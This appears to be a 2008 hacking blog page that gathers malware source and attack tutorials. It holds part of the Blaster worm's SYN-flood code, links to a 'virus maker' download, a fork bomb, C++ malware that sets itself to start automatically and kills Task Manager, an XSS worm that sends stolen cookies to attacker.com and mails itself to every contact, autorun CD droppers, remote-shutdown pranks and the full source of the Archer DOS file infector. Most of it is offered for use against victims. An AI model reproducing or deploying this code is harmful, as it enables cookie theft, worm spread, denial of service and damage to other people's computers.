unsigned char protocol;

unsigned short tcplength;

};

struct PSEUDOTCP

{

unsigned int srcaddr;

unsigned int dstaddr;

unsigned char padzero;

unsigned char protocol;

unsigned short tcplength;

struct TCPHDR tcphdr;

};

char spoofed_src_ip[16];

unsigned short target_port = 80; /*SYNflood web servers*/

struct sockaddr_in to;

struct PSEUDO pseudo;

char buf[60] = {0};

struct TCPHDR tcp;

struct IPHDR ip;

int source_ip;

/* Yet another randomizer-seeding */

srand(GetTickCount());

/* Generate a spoofed source address that is local to the

* current Class B subnet. This is pretty smart of Buford.

* Using just a single IP address allows defenders to turn

* it off on the firewall, whereas choosing a completely

* random IP address would get blocked by egress filters

* (because the source IP would not be in the proper range).

* Randomly choosing nearby IP addresses it probably the

* best way to evade defenses */

sprintf(spoofed_src_ip, "%i.%i.%i.%i",

local_class_a, local_class_b, rand()%255, rand()%255);

source_ip = blaster_resolve_ip(spoofed_src_ip);

/* Build the sockaddr_in structure. Normally, this is what

* the underlying TCP/IP stack uses to build the headers

* from. However, since the DoS attack creates its own

* headers, this step is largely redundent. */

to.sin_family = AF_INET;

to.sin_port = htons(target_port); /*this makes no sense */

to.sin_addr.s_addr = target_ip;

/* Create the IP header */

ip.verlen = 0x45;

ip.totallength = htons(sizeof(ip) + sizeof(tcp));

ip.id = 1;

ip.offset = 0;

ip.ttl = 128;

ip.protocol = IPPROTO_TCP;

ip.checksum = 0; /*for now, set to true value below */

ip.dstaddr = target_ip;

/* Create the TCP header */

tcp.dstport = htons(target_port);

tcp.ackno = 0;

tcp.offset = (unsigned char)(sizeof(tcp)<<4);

tcp.flags = 2; /*TCP_SYN*/

tcp.window = htons(0x4000);

tcp.urgptr = 0;

tcp.checksum = 0; /*for now, set to true value below */

/* Create pseudo header (which copies portions of the IP

* header for TCP checksum calculation).*/

pseudo.dstaddr = ip.dstaddr;

pseudo.padzero = 0;

pseudo.protocol = IPPROTO_TCP;

pseudo.tcplength = htons(sizeof(tcp));

/* Use the source adress chosen above that is close, but

* not the same, as the spreader's IP address */

ip.srcaddr = source_ip;

/* Choose a random source port in the range [1000-19999].*/

tcp.srcport = htons((unsigned short)((rand()%1000)+1000));

/* Choose a random sequence number to start the connection.

* BUG: Buford meant htonl(), not htons(), which means seqno

* will be 15-bits, not 32-bits, i.e. in the range

* [0-32767]. (the Windows rand() function only returns

* 15-bits). */

tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

/* Calculate TCP checksum */

memcpy(buf, &pseudo, sizeof(pseudo));

memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));

tcp.checksum = blaster_checksum(buf,

sizeof(pseudo)+sizeof(tcp));

memcpy(buf, &ip, sizeof(ip));

memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

/* I have no idea what's going on here. The assembly code

* zeroes out a bit of memory near the buffer. I don't know

* if it is trying to zero out a real variable that happens

* to be at the end of the buffer, or if it is trying to zero

* out part of the buffer itself. */

memset(buf+sizeof(ip)+sizeof(tcp), 0,

sizeof(buf)-sizeof(ip)-sizeof(tcp));

/* Major bug here: the worm writer incorrectly calculates the

* IP checksum over the entire packet. This is incorrect --

* the IP checksum is just for the IP header itself, not for

* the TCP header or data. However, Windows fixes the checksum

* anyway, so the bug doesn't appear in the actual packets

* themselves.

*/

ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to

* copy over the checksum that was just calculated above, but

* it's easier doing this for the programmer rather than

* figuring out the exact offset where the checksum is

* located */

memcpy(buf, &ip, sizeof(ip));

/* Send the packet */

sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,

(struct sockaddr*)&to, sizeof(to));

}

$$$$$$$$$Virus making software$$$$$$$$$

Virus making software

JPS_Virus_Maker

make your own customized virus

first shutdown ur anti virus before opening it

Download

CODE
hXXp://rapidshare.com/files/120259520/JPS_Virus_Maker.rar

or
http://www.megaupload.com/?d=Y38Z7L0W

How to make a Fork Bomb (rabbit virus)

Introduction

Hey guys, haven't posted on here for a while, been honing my skills . And I 've got a new thing for all u guys to have fun with, its very easy and fun to do. Before we start coding ill explain what a fork bomb actually is.

A fork bomb or rabbit virus opens an application for example cmd.exe so many times that its overloads the computers processor which results in the computer either overheating, shutting down or in some cases you can get a BSOD (blue screen of death). Unlike little batch viruses like the shutdown one you cannot stop a fork bomb unless you extremely 1337 so once it starts it goes until it does its job.

Most Anti-Virus software will not pick a fork bomb or rabbit virus, as far as its concerned its just a batch file the opens and application.

Background

Fork Bombs aka Rabbit viruses have been around for ages due to their effectiveness to evade anti-virus software. I came across it when i wanted to play a practical joke on my schools administrator for his birthday. Just to let you know it worked and hes not some n00b. I find them very effective just don't bomb yourself.

The code

Ok this is the code that you type into notepad.exe remember to save it as a .bat or if you want it in a dorminant for save it as a .txt

One more thing...I am not responsible if you kills your computer or somebody else computer with or without permission. Now that we have that out a the way here we go...

Blocks of code should be set as style "Formatted" like this.

Code: .bat

CODE
:s
START %0
GOTO :s

Virus: MineSweeper.cpp

Virus: MineSweeper.cpp

CODE
#include
#include
#include
#include
#include
#include
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed";

Sleep(1000);
ShowWindow(mywindow, false);
}

void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}

Finished

XSS Attack - Yahoo! Worm - Mail PoC

XSS Attack - Yahoo! Worm - Mail PoC

Disclaimer :
This is a PoC and it was created in educational purpose only. The author ( ME ) could not be held responsible if the PoC doesn't work or is used in different purpose's!

1. DESCRIPTION

Using Cross Site Scripting ( XSS ) attack's give's us the possiblity to impersone one legitim user ( victim ) that is a registered on a website ( target )

In this tutorial will suppose the target site has a XSS vulnerability which give's an attacker to inject a "bad code" into a page.

First, let's follow this step's :

a. The victim certify's on the target site
b. The attacker send's a link to a page ( with the "bad code" ) from the target site to the victim
c. The victim navigate's to the page
d. The page code load's a script from another location sending the victim's cookies
e. The script use's this cookie to act like the victim on target site

I'll illustrate now ( with example's ) :

We suppose the victim is allready certifyed on the target site

The target has a XSS vulnerability :
CODE
http://www.target.com/page.php?var=

The attacker send's the link to his victim :
"
CODE
http://www.target.com/page.php?var=
"

When the victim follow's the link; the script "js.js" is loaded and executed by the browser

Code:

CODE
new Image().src='http://www.attacker.com/php.php?cookie= '+escape(document.cookie);

The file "js.js" contain's a code which does a request to the file "php.php" - controled by the attacker.

===== php.php =====
Code:

CODE
$domain=".target.com"; // cookie domain $cookie=$_GET['cookie']; //we create the file , supposeing the cookie session has more sequence's "name=value; " $hcook=fopen("cookie.txt","w"); $params=split('; ',$cookie); for($i=0; $i { $eqpos=strpos($params[$i],"="); $name =substr($params[$i],0,$eqpos); $value=substr($params[$i],$eqpos+1,strlen($params[$i])); fwrite($hcook,$domain. " TRUE / FALSE 9999999999 ".$name." ".$value." "); } fclose($hcook); // we make any curl request useing "cookie.txt" as CURLOPT_COOKIEFILE and CURLOPT_COOKIEJAR ?>

The "php.php" file is esential to this kind of attack.

This steal's the victim's cookie and use's it to look like the victim on the target site. The reason for useing a php script in place of a javascript is to pass the javascript polics, haveing the possibility if requesting to anykind of domain where the cookie is valid. We can receive and send data to the target site and manipulate in any kind of mode.

2. YAHOO! MAIL Worm PoC

Will suppose that Yahoo! has a XSS vulnerability like the following form :

"http://xxx.yahoo.com/page?var="

a. The attacker send's an emails containing the link to http://xxx.yahoo.com/page?var= to the victim
b. The victim follow's the link ( Ok, pause. Let's name the victim BILL )
c. "worm.php" file is stealing BILL's cookie and useing it to send a mail to every person from his Address Book
d. The person's from BILL's Address Book become victim's when they follow the link from the email, which seeming to come from a victim

===== worm.php =====
Code:

QUOTE
$subject="Link for you"; // message subject $message ="Look a cool link, CLICK ME!"; // message body // We eliminate the need of a "js.js" file checking the parameter value of "cookie" // If this doesn't exist we type the content of "js.js" file // and if exist's we continue with "php.php" if(!isset($_GET['cookie'])) { $scripturl="http://".$HTTP_HOST.$REQUEST_URI; print("new Image().src='".$scripturl."?cookie='+escape(document.cookie);"); } else { $cookie=$_GET['cookie']; // We create a unique name for the file were we'll save the cookie ensureing this way // that when a lot of victim's access simultaneuously the script; the cookie's will not overwrite $cookiefile=rand(100,999).".txt"; // we create the cookie file $hcook=fopen($cookiefile,"w"); $params=split('; ',$cookie); for($i=0; $i { $eqpos=strpos($params[$i],"="); $name =substr($params[$i],0,$eqpos); $value= substr($params[$i],$eqpos+1,strlen($params[$i])); fwrite($hcook,".yahoo.com TRUE / FALSE 9999999999 ".$name." ".$value." "); } fclose($hcook); // We try the Yahoo! address book for data extraction all about the contact's and create a variable of the form // "contact1@yahoo.com,contact2@yahoo.com, etc.." as well finding the domain us.fXXX.mail.yahoo.com // which change's each time there is a certify! $address=curl("http://address.mail.yahoo.com/","",$cookiefile); if(strpos($address,"Yahoo! Address Book")==true) // if the page was loaded correctly { $apage=explode(" ",$address); foreach($apage as $line_num => $aline) { if(strstr($aline,"ymsgr:sendIM")) { $ex =explode("?",$aline); $ex2=explode(""",$ex[1]); $id=$ex2[0]; $to=$to.$ex2[0]."@yahoo.com,"; } if(strstr($aline,"Compose")) { $ex3=explode("/",$aline); $domain="http://".$ex3[2]; } } } // We load the "Compose" formular situaten on us.fXXX.mail.yahoo.com for finding the formular's action // to send email and parameter value ".crumb" which we need for sending message's if(strlen($to)>0 && strlen($domain)>0) // if we have the 2 variable's { $compose= curl($domain."/ym/Compose?","",$cookiefile); if(strpos($compose,"Yahoo! Mail")==true) // if the page was loaded correctly { $cpage=explode(" ",$compose); foreach($cpage as $line_num => $cline) { if(strstr($cline,"form name="Compose"")) { $ex4=explode(""",$cline); $action=$ex4[5]; } if(strstr($cline,".crumb")) { $ex6=explode(""",$cline); $crumb=$ex6[3]; } } } if(strlen($action)>0 && strlen($crumb)>0) // if we have the 2 variable's { $subject=str_replace(" ","+",$subject); $message=str_replace(" ","+",$message); // we generate POSTFIELDS for curl $post ="SEND=1&SD=&SC=&CAN=&docCharset= iso-8859-1&PhotoMailUser=&PhotoToolInstall=&"; $post.="OpenInsertPhoto=&PhotoGetStart= 0&SaveCopy=no&PhotoMailInstallOrigin=&"; $post.="box=&.crumb=".$crumb."&"; $post.="FwdFile=&FwdMsg=&FwdSubj=&FwdInline= &OriginalFrom=&OriginalSubject=&"; $post.="InReplyTo=&NumAtt=0&AttData=&UplData= &OldAttData=&OldUplData=&FName=&"; $post.="ATT=&VID=&Markers=&NextMarker= 0&Thumbnails=&PhotoMailWith=&BrowseState=&"; $post.="PhotoIcon=&ToolbarState=&VirusReport= &Attachments=&BGRef=&BGDesc=&BGDef=&"; $post.="BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom= &PlainMsg=&PhotoFrame=&PhotoPrintAtHomeLink=&"; $post.="PhotoSlideShowLink=&PhotoPrintLink= &PhotoSaveLink=&PhotoPermCap=&PhotoPermPath=&"; $post.="PhotoDownloadUrl=&PhotoSaveUrl= &PhotoFlags=&start=compose&bmdomain=&hidden=showcc&"; $post.="showbcc=&AC_Done=&AC_ToList= &AC_CcList=&AC_BccList=&sendtop=Send&"; $post.="savedrafttop=Save+as+a+Draft&canceltop= Cancel&To=".$to."&Cc=&Bcc=&"; $post.="Subj=".$subject."&Body=".$message."&Format= html&SigAtt=1&sendbottom=Send&"; $post.="savedraftbottom=Save+as+a+Draft&cancelbottom=Cancel&"; // sending the mail's $mail=curl($domain.$action,$post,$cookiefile); } } unlink($cookiefile); } function curl($url,$post='',$cookiefile) // function to easy the curl request's { $rand=rand(100000,400000); $agent="Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/".$rand." Netscape/7.1 (ax)"; $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_USERAGENT,$agent); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); if($post!=='') { curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,$post); } curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiefile); curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiefile); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE); $result=curl_exec($ch); curl_close($ch); if($result=="") { curl($url,$post); } else { return $result; } } ?>

Thank's for reading and hope you learned something

Batch Hacks/Viruses

Hey guys,

----- DISCLAIMER -----

Well i don't really know whether u can call these little things viruses or not. I suppose when i show u how to send them they are. Their basically the first step into making viruses and don't be a n00b at set one on your own comp

Background

Ok this first one although might be a bit lame u can get some good kicks and laughs outa this when people go to the toilet in their pants.

The code

Ok so what were gonna do is make a lil message box pop up onto the victims screen when they run the program. You have to save this as .vbs NOT .txt

Blocks of code should be set as style "Formatted" like this.
Code: Visual Basic Script (.vbs)'

code:-(WScript.Echo ("enter your message"))remove first

Do not add syntax colorizing to your code snippets. Our scripts will colorize your code automatically if you specify the language name.

Step 2

Ok so now wot we want is to really freak them out so when they hit enter another message pops up

Code: Visual Basic Script (.vbs)

WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")

Step 3

ok enough with playing now were gonna do some real stuff. Were gonna shutdown their comp, theres to ways to do this. The first is create a new shortcut and type...to make it more believable change to icon picture and name to something like 'My Computer' and the same with its icon then delete the 'My Computer' shortcut off someones desktop and replace it with ur version

Code: cmd.exe

shutdown -s

Step 4

the second way is to open a .txt file and type

Code: windows batch file (.bat)

shutdown -s

Step 5

ok ok now that might be a bit boring bare with me im getting on with it . anyway the next thing were gonna do is add a thirty second timer before the system shutdown happens

Code: windows batch file (.bat)

shutdown -s -t 030

Step 6

not so hard is it. now were gonna add our own little comment into it, it can be what ever you want

Code: windows batch file (.bat)

shutdown -s -t 030 -c "your own little message"

Step 7

Here comes the fun part...creating your own scape goat so you dont get busted for shutting down someones computer . Ok so what u want to do know is type all that one your scape goats computer then your going add this to the code

Code: windows batch file (.bat)

CODE
shutdown -s -t 030 -c "your own little message" -m \\your VICTIMS computer name

Step 8

Ok the last part will be to force all running applications on the computer to close...you can put this in with out the -m option if you don't wanna do that

Code: windows batch file (.bat)

CODE
shutdown -s -t 030 -c "your own little message" -m \\your VICTIMS computer name -f

The end

So now you cant do all that....remember with the -m option you can run that file from your OWN computer and shutdown somebody else's which is much more hacker like than setting up a trap on somebodies desktop....you can also do all that batch file stuff the same way in the short cut....i prefer to use scape goats and dw they don't usually get into much trouble...also this may or may not work depending on how strict your network and user restrictions are. If they are to strict u can always do this (but a bit different) on a disk bootable version of Linux.

Go get them

Btw I m not responsible if you go and kill someones computer...I m white hat

How to send batch virus with a cd

For this we need 3 file:

* 1 a batch file
* ini file
* ico file (icon file )

**************making the batch file **************
@echo off
copy pic.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
attrib +h pic.bat
shutdown -r -t 0900 -c "need help? help help help me creat by me "

and sav this as pic.bat

**************making the ico file***************

no need to mak a ico file u can easily find find it in ur pc
search as *.ico

and rename it as dragon.ico

*****************making the ini file*****************
open a not pad and

[autorun]
open=pic.bat
icon=dragon.ico

sav it as autorun.ini

after making these files u can store them in cd with other ordinary file
and see what happen

*** Send a exe virus file ***

same way as d above one.....

just tak the file as orkut.exe[virus]

*****************making the ini file*****************

open notepad and type :

[autorun]
open=orkut.exe
icon=dragon.ico

save it as autorun.ini

**************making the ico file***************

no need to mak a ico file u can easily find find it in ur pc
search as *.ico

and rename it as dragon.ico

n write them to a cd

Archer Virus Source code

Looking through some archives of mine, I found some old BW (Biological Warfare) documents virus kits, and source codes. So here is an old virus from 1994 written in assembly language, if you do manage to compile it it basically sends a green arrow across the screen. But I am sure (ha ha ) that all of the new AV companies should pick up that it is an exe infecter.

: [Archer] MnemoniX `94
; Created with Biological Warfare - Version 0.90á by MnemoniX

equ 0AE3Bh
PONG equ 0CD28h
STAMP equ 30
MARKER equ 04D4Dh

code segment
org 0
assume cs:code,ds:code

start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:

db 0BBh ; decryption module
code_offset dw offset virus_code
mov dx,VIRUS_SIZE / 2 + 1

decrypt:
db 02Eh,081h,07h ; ADD CS:[BX]
dw 0
inc bx
inc bx
dec dx
jnz decrypt

virus_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1

push ds es

mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed

mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB

sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]

push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw

xor ax,ax ; capture interrupts
mov ds,ax

sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024

mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw

mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21

installed:
call activate ; activation routine

pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit

com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb

call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax

mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
mov sp,[bp + exe_sp] ; restore SP

call fix_regs ; fix up registers
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0

exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SP

fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
ret

; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret

new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ax,4B00h ; execute program
je execute
cmp ah,3Dh ; file open
je file_open
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0

ping_pong:
mov bx,PONG
iret

dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done

push ax bx es
mov ah,2Fh
int 21h

cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed

sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret

file_open:
push ax cx di es
call get_extension
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; perhaps .EXE then
cmp byte ptr [di + 2],'M'
jne not_prog
jmp a_program
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne not_prog
cmp byte ptr [di + 2],'E'
jne not_prog
a_program:
pop es di cx ax
jmp execute ; infect file
not_prog:
pop es di cx ax
jmp int_21_exit

execute:
push ax bx cx dx si di ds es

xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs

mov ax,4300h ; change attributes
int 21h

push cx dx ds
xor cx,cx
call set_attributes

mov ax,3D02h ; open file
call int_21
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds

mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h

cmp word ptr read_buffer,'ZM'; .EXE?
je infect_exe ; yes, infect as .EXE

mov al,2 ; move to end of file
call move_file_ptr

cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect

sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect

add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx

add dx,103h
call encrypt_code ; encrypt virus

mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
int 21h

xor al,al ; back to beginning of file
call move_file_ptr

mov dx,offset new_jump ; and write new jump
int 21h

fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP ; for directory stealth
mov ax,5701h ; restore file date/time
int 21h

close:
pop ds dx cx ; restore attributes
call set_attributes

mov ah,3Eh ; close file
int 21h

cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave

set_attributes:
mov ax,4301h
int 21h
ret

dont_infect:
pop cx dx ; can't infect, skip
jmp close

move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h

mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect

cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already

les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP

mov ax,word ptr read_buffer[16]
mov exe_sp,ax ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h

push ax dx ; save file size

push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx

sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax

pop dx ax ; calculate prog size

add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus

mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h

mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h

mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done

courtesy_of db '[BW]',0
signature db '[Archer] MnemoniX `94',0

activate:
xor ah,ah ; get system time
int 1Ah
cmp dl,0F1h
jb no_activate

mov ah,0Fh ; get display page
int 10h

mov al,dl ; random number, 0-15
and al,15

mov ah,3 ; activating - get cursor
int 10h ; position and save
push dx

mov dh,al ; set cursor at random
xor dl,dl ; row, column 1
mov ah,2
int 10h

mov di,79
mov cx,1

arrow:
mov ax,91Ah ; print arrow and erase
mov bl,10 ; 79 times
int 10h

push cx ; time delay
mov cx,-200
rep lodsb
pop cx

mov ah,2
mov dl,' '
int 21h

dec di
jnz arrow

pop dx ; reset cursor
mov ah,2
int 10h ; and we're done

no_activate:
ret

get_extension:
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
ret

encrypt_code:
push ax cx

push dx
xor ah,ah ; get time for random number
int 1Ah

mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset

push cs ; ES = CS
pop es

mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb

mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
sub ax,dx
stosw
loop encrypt

pop cx ax
ret

int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0

virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer

end_heap:

MEM_SIZE equ end_heap - start

code ends
end start
Don't hurt urself !

Thursday, July 31, 2008

VBScript Worm

MATRIX WORM

E-mail Worms

Atom bomb virus in c

Wednesday, July 30, 2008

chinese virus

A GodDamn Virus code

C++ worm, the source code of the blaster worm

$$$$$$$$$Virus making software$$$$$$$$$

How to make a Fork Bomb (rabbit virus)

Virus: MineSweeper.cpp

XSS Attack - Yahoo! Worm - Mail PoC

Batch Hacks/Viruses

How to send batch virus with a cd

Archer Virus Source code

Viruses

Blog Archive

About Me

Thursday, July 31, 2008

Wednesday, July 30, 2008

Subscribe To

Blog Archive

About Me